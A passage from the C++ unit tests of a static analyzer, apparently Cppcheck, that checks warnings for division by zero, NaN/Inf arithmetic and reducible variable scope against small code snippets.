\" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if 